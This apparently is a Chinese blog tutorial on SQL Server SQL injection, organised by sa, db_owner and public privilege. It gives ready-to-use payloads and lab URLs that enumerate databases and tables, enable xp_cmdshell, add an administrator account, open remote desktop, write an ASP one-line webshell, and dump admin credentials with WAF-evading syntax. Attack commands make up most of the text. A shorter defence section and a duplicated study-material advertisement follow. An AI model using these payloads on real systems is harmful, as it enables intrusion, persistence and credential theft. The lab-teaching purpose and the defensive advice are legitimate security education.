【网络安全-SQL注入(4)】一篇文章带你了解sql server数据库三大权限,以及三大权限的SQL注入,SQL注入点利用以及getshell_sqlsever数据库报错注入

## 询所有数据库名,除了master
and (select top 1 name from master..sysdatabases where name not in ('master'))> 0

##查询所有数据库名,除了master,iNethinkCMS
and (select top 1 name from master..sysdatabases where name not in ('master','aini'))> 0

##查询所有数据库名,除了master,iNethinkCMS
and (select top 1 name from master…sysdatabases where name not in (‘master’,‘aini’))> 0

爆出来的字段不断加入到上述查询语句中进行排除,挨个把字段名爆出来

1-9-3 爆表

跟上面的爆库一个玩法

and (select top 1 name from master.sys.all_objects where type='u' and is_ms_shipped=0)> 0

and (select top 1 name from MYDB.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('cmd','test_tmp'))> 0

1-9-4 爆裂
## 查询指定库指定表中的列名
and (select top 1 column_name from mydb.information_schema.columns where table_name='admin')> 0

1-9-5 爆数据

我们之前通过联合查询知道了在admin表里有user和password字段

## 爆用户名
and (select top 1 user from admin)> 1

## 如果再也没有可爆的用户名,页面会显示正常
and (select top 1 user from admin where name not in ('admin'))> 1

二,mssql权限说明和操作

2-1 注入点类型判断

先,判断是否是MsSQL注入点,也就是先判断一下网站的数据库是不是mssql数据库,可提交如下查询

and exists (select * from sysobjects) 

## select * from admin where id=1 and exists (select * from sysobjects)   

sysobjects是一个mssql自带的系统表

**# 注入:比如 
http://192.168.169.200/sqlserver/1.aspx?xxser=1 and exists (select * from sysobjects)

页面返回正常,则说明为MsSQL注入点。

一般aspx多数是配合mssql数据库的。**

2-2 设置权限用户

1、用Windows 身份验证方式或 sa用户 连接服务器,打开安全性 → 右击登录名 → 新建登录名

 

2、常规设置:

**## 1、输入账户名,密码

2、去掉密码策略的勾

3、根据需要选择默认数据库,默认语言**

3、服务器角色

根据需要授予角色权限,默认勾选 Public,一般够用了。

4,用户映射

**## 勾选映射的数据库,即该用户可以访问的数据库,这边实际上就是一个对数据库访问权限的控制

勾选数据库角色成员身份,这边实际上就是一个对数据库操作权限的控制

## db_datereader:只读的权限
 ## db_datawirter:只写的权限
 ## db_owner: 数据库拥有者权限,增删改查备份等都可以做
 ## public权限:默认权限,增删改查都可以,如果想让用户只读,那么就再勾选上db_datereader角色**

5,安全对象、状态 默认即可,可以不设置。如有特殊需要再去设置。

​ 接下来就可以新建数据库,然后新建用户、分配权限进行操作了。

三,三大权限注入

3-1 sa权限注入

3-1-1 检查是否为sa权限

如果返回的是sa,那么可以直接判断出用户的权限,但是这里只有提交如下链接查询的权限

http://192.168.169.200/sqlserver/1.aspx?xxser=1 and 1=(select IS_SRVROLEMEMBER('sysadmin')) 
## 具备sa权限则返回1,不具备则返回0,所以可以1=  或者0= 来逻辑判断

执行成功,则说明是sa权限

但是这个语句有点问题,我们先忽略他吧,因为不管输入的名称是不是sysadmin,都不会报错。

3-1-2 判断一下xp_cmdshell存储过程是否存在

xp_cmdshell是mssql数据库的扩展存储功能,这个功能可以直接执行操作系统的指令(ipconfig、pwd等等),默认情况下这个功能是禁用状态的,所以我们先要看看是否开启了,但我们需要打开的时候,我们可以自行打开,但是这个功能只能是sa这样的权限用户才能开启,dbowner、public等权限都是不能开启的,好,检查一下是否开启了

http://192.168.169.200/sqlserver/1.aspx?xxser=1 and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')

没有报错,说明扩展存储功能是开着的

如果发现报错了,说明扩展没有开启,那么我们需要恢复一下或者说打开一下这个功能,如下操作

3-1-3 恢复xp_cmdshell
## 恢复xp_cmdshell可以用 
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

没有报错,说明恢复成功

开启了xp_cmdshell,我们接下来就可以添加用户等操作了。

3-1-4添加账号
## 注入指令: 
;exec master..xp_cmdshell 'net user test 123456 /add'
## 比如: 
http://192.168.169.200/sqlserver/1.aspx?xxser=1;exec%20master..xp_cmdshell%20%27net%20user%20test%20test%20/add'

先看看有哪些用户,我们穿件一个test用户试一试

没有报错,说明执行成功了

用ner user 命令查看发现确实创建了一个test用户

3-1-5 将账号添加到管理员组
;exec master..xp_cmdshell 'net localgroup administrators test /add'

没有报错,说明执行成功了

3-1-6 开3389远程连接端口

既然已经是管理员组的用户了,那么别人想远程控制你的电脑,那么他就可以开启3389端口,默认远程桌面是关闭的。下面的是通过cmd指令修改注册表的一个选项来开启3389

没有报错,执行成功了

我的电脑右击,属性,远程 可以看到远程桌面已经开启了

然后,比如通过我们物理机,我的物理机是win10,来远程连接一下win2003的虚拟机,win10上使用快捷键【win】【R】,输入【mstsc】调出远程桌面界面。

 

然后就是让你输入用户名和密码,我们已经创建了一个名为test  密码为123456的用户

用这个账号密码登录,就可以控制人家电脑了

那这样的话,就可以搞事情了。所以,如果你是运维人员,千万不要启动sa账号,因为可以直接执行系统指令,你看我们数据库这里,肯定是启用了的

3-2 dbowner权限注入

3-2-1 检查是不是dbowner权限
## 注入指令: 
and 1=(SELECT IS_MEMBER('db_owner'));--  ## 有权限就是1,没有就是0
## 网址: 
http://192.168.169.200/sqlserver/1.aspx?xxser=1%20and%201=(SELECT%20IS_MEMBER(%27db_owner%27));--

执行成功了,说明是dbowner权限

接下来,我们需要找到网站路径,就是下面这个: C:\www\iisaspx\sqlserver

3-2-2 查找网站代码路径
2-1 网页报错

1.通过报错或者baidu、google等查找,不过还是通过扫描工具来的快一些。

2-2 搜索

baidu或者google等,通过site:xxx.com等来查找,看看有没有什么报错的页面或者敏感网页路径信息之类的

2-3 目录扫描

我们用过的7kb、 穿山甲什么的。

用御剑扫描看看

2-4 通过查询语句查找

通过相关语句查找,但是也需要一个条件,需要对方开启了xp_cmdshell

1. 
;drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--   
# black是随便写的一个库名昂,只要别和人家网站现有的库重名就行,我经常用这个black名字,所以我先执行了一下删除black表,然后再创建的black表

2. 
;insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'-- 
# 往black表中插入'dir /s c:\1.aspx'这个系统指令的执行结果

3. 
and (select result from black where id=4)>0-- # 查找black表中的数据

首先如果有black表就删除以后,重新创建black表,确保这个表存在

​​​​​​​## 网址: 
http://192.168.169.200/sqlserver/1.aspx?xxser=1%20drop%20table%20black;create%20Table%20black(result%20varchar(7996)%20null,%20id%20int%20not%20null%20identity%20(1,1))--

通过执行系统命令查找网站真实路径保存在black表中

## 注入网址: 
http://192.168.169.200/sqlserver/1.aspx?xxser=1%20insert%20into%20black%20exec%20master..xp_cmdshell%20%27dir%20/s%20c:\1.aspx%27--

最后从black表中查询即可,当然了,页面时没有回显的,所以通过报错的形式把信息带出来

## 注入指令: 
and (select result from black where id=4)>0--

## 网址: 
http://192.168.169.200/sqlserver/1.aspx?
xxser=1%20and%20(select%20result%20from%20black%20where%20id=4)%3E0--

## 但是要注意:用低版本的浏览器,不然报错信息看不到路径的

3-2-3 一句话木马拿到webshell

通过注入语句来搞:比较麻烦一些

%20;exec%20master..xp_cmdshell%20'Echo%20"
<%eval%20request("jaden")%>"%20>>%20c:\www\wwwroot\sqlserver\muma.asp'--

现在网站跟路径没有muma.asp文件,我们注入一个试一试

执行成功了,我们看看到底有没有写入成功!

用工具连接一下吧,我就用蚁剑进行连接

发现能成功连接上目标主机了

还可以利用一些工具对目标网站数据库进行备份数据等,添加系统用户,权限维持等

3-3 public权限注入

通过这种权限登录的用户是拿不到webshell和系统执行指令权限的,属于最低权限,但是可以取到数据库的用户名和密码,拖库什么的都可以,只要发现注入点,基本都可以拖库,但是能不能拿到操作系统权限,这个要看当前数据库用户的权限了。

3-3-1 获取当前数据库名
## 指令: 
	and db_name()=0--
## 网址: 
	http://192.168.169.200/sqlserver/1.aspx?xxser=1%20and%20db_name()=0--

​​​​​​​看到报错信息里面已经拿到数据库名称了

3-3-2 获取mssql所有数据库名
and 1=(select db_name()) --+
and 1=(select db_name(1)) --+
and 1=(select db_name(2)) --+

通过不断修改db_name();里面的数字,可以通过报错来爆出数据库名

3-3-3 获取当前数据库所有表名
select top 1 name from 当前数据库.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in (select top i name from 当前数据库.sys.all_objects where type='U' AND is_ms_shipped=0) 
## 修改i的值来查看
## 比如:
 and (select top 1 name from testdb.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in (select top 0 name from testdb.sys.all_objects where type='U' AND is_ms_shipped=0))>0

3-3-4 获取表名和字段名
## 第一个指令: 
having 1=1--

## 网址: 
http://192.168.169.200/sqlserver/1.aspx?xxser=1%20having%201=1--

## 将第一个指令的结果带入到下一个指令
## 第二个指令: 
group by admin.id having 1=1--
## 网址: http://192.168.169.200/sqlserver/1.aspx?xxser=1%20group%20by%20admin.id%20having%201=1--
## 效果:name字段名也看到了

## 第三个指令: 
group by admin.id,admin.name having 1=1--
## 网址: http://192.168.169.200/sqlserver/1.aspx?xxser=1%20group%20by%20admin.id,admin.name%20having%201=1--
## 效果:密码字段名也看到了

3-3-5 

如此往复就能看到所有admin表中的字段。

3-3-5 获取字段内容
## 指令: 
/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char                           (32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..
[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1

## 这个指令比较复杂一些,其中/**/没有什么特殊的含义,就和一个空格似的,像一个干扰符号,早期是为了通过waf用的,把这个语句里面的库名、表名、字段名替换成你自己发现的就行了

## 网址: 
http://192.168.169.200/sqlserver/1.aspx?xxser=1%20/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1

直接账号密码都拿出来了

还是发现,手工来写注入语句,太繁琐了,通过工具跑,简单一些,后期专门写一篇博客,讲解各种工具来进行SQL注入

四,MySQL版本区别

## mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做:information_schema,

## mysql5.0以下没有information_schema库,只能通过暴力猜解的方式来获取数据,information_schema库里面包含了很多表,其中这几张表:schemata、tables、columns,这三张表依次分别存放着字段:(schema_name-库名)、(table_name-表名、table_schema-库名)、(table_schema-库名、table_name-表名、column_name-字段名),其次就是5.0以上都是多用户多操作,5.0以下是多用户单操作。

## mysql5.7和mysql8的区别: 先作为了解。
## 创建用户和授权:
 ## mysql5.7可以一句话搞定:
 	grant all privileges on *.* 'user'@'%' identified by '123456';
 
 ## mysql8必须分开做:
     create user 'user'@'%' identified by '123456';
     grant all privileges on *.* to 'user'@'%';
     
## table函数
 ## table函数为MYSQL8版本中新增的函数,其作用与select类似。
 	table users; 等同于:select * from users;  
 	
 ## 但是table查询时,显示的始终是表的所有列,而且不可以用where字句来限定某个特定的行。values函数:
 
 select * from user union VALUES ROW(2,3); 
 ## 等同于
 select * from user union select 2,3;

这些要记下来,注入的时候主要找的就是这三个表,这几个字段

五,SQL注入防护

所有的数据库防护手段基本都是一样的,就是对用户提交的数据做严格的过滤。

## 1、对提交的数据进行数据类型判断,比如id值必须是数字:is_numeric( $id )
## 2、对提交的数据进行正则匹配,禁止出现注入语句,比如union、or、and等
## 3、对提交数据进行特殊符号转义,比如单引号、双引号等,用addslashs等函数加工一下
## 4、不使用sql语句拼接参数的方式来执行sql语句,而是用参数化查询,也叫做参数绑定的方式,对提交的参数进行预编译然后进行参数绑定,这样会将用户提交的注入语句作为参数值来处理,而不是当作sql语句执行,这样可以有效的方法sql注入:不同语言的写法不同,但是原理相同。

 $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
    $data->bindParam( ':id', $id, PDO::PARAM_INT );
    $data->execute();
    
 ## 但是预编译也不能完全解决sql注入问题,比如如果查询语句中表名是动态的,也就是说表名也是用户可以提交过来的数据,根据用户提交的表名来进行不同表数据的查询,那么也会出现sql注入漏洞,因为表名不能进行预编译及参数绑定,下面就报错
    $table_name='jaden';
    $data = $db->prepare( 'SELECT first_name, last_name FROM (:table_name) WHERE user_id = (:id) LIMIT 1;' );   
 ## 这种就需要配合白名单进行过滤:
 
    if ($table_name == 'jaden'){  
        $data = $db->prepare( 'SELECT first_name, last_name FROM jaden WHERE user_id = (:id) LIMIT 1;' );   
   }elif ($table_name == 'wulaoban'){
      $data = $db->prepare( 'SELECT first_name, last_name FROM wulaoban WHERE user_id = (:id) LIMIT 1;' );
   }else{
        echo '别乱搞!';
   }
   
## 5、分级管理:用户的权限要进行严格控制和划分,服务端代码连接数据库使用的用户禁止使用root等高权限用户。比如对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限等等。6、数据库中敏感的数据,比如用户的密码,要加密存储。

## 总体来说:
    ## (1)永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对特殊字符和符号进行转换等。
    ## (2)永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
    ## (3)永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
    ## (4)不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。
## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/c19464f3501c96db1b257d0cd0229b60.png)

![img](https://img-blog.csdnimg.cn/img_convert/18ece413990749f3558843c039da8ea4.png)

![img](https://img-blog.csdnimg.cn/img_convert/e3a5ab6553e3340bf5459ec0be72d3fa.png)

![img](https://img-blog.csdnimg.cn/img_convert/9e002bbc5b432df9649664835590ef61.png)

![img](https://img-blog.csdnimg.cn/img_convert/b7d95efa30128741751c6fd1a6129bd9.png)

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

或者hash掉密码和敏感的信息。
## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

[外链图片转存中...(img-jjAWskYu-1715573504679)]

[外链图片转存中...(img-iqLpJofX-1715573504680)]

[外链图片转存中...(img-hjfDtyIF-1715573504680)]

[外链图片转存中...(img-RZ7jNQB0-1715573504680)]

[外链图片转存中...(img-1C0mi4aa-1715573504681)]

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

你可能感兴趣的:(程序员,数据库,web安全,sql)